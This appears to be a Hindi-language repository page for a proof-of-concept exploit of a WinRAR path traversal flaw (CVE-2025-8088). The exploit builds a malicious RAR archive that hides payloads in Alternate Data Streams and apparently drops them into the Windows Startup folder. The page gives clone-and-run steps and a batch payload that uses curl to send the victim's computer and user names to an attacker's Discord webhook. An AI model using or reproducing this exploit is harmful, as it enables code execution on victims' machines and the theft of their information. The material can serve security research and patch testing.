pentestfunctions/best-cve-2025-80887.13 से पहले के Winrar CVE शोषण, एक ही फ़ाइल पर कई ADS स्ट्रीम का उपयोग करके (कस्टम PDF कार्यान्वयन)
WinRAR भेद्यता (CVE-2025-8088) के लिए एक proof-of-concept एक्सप्लॉइट, जो संस्करण 7.12 और उससे निचले संस्करणों को प्रभावित करता है। यह टूल एक दुर्भावनापूर्ण RAR संग्रह बनाता है जो पेलोड्स को पाथ ट्रैवर्सल के साथ Alternate Data Streams (ADS) में एम्बेड करता है, जो संभावित रूप से मनमाने कोड निष्पादन की ओर ले जाता है।
# Clone the repository
git clone https://github.com/pentestfunctions/best-CVE-2025-8088.git
cd best-CVE-2025-8088
# Install dependencies
pip install reportlab
# Run the exploit
python CVE-2025-8088.py
Discord वेबहुक को कॉल करने के लिए पेलोड संपादित करें:
# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""
YOUR_DISCORD_WEBHOOK_URL को अपने वास्तविक वेबहुक URL से बदलें।
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\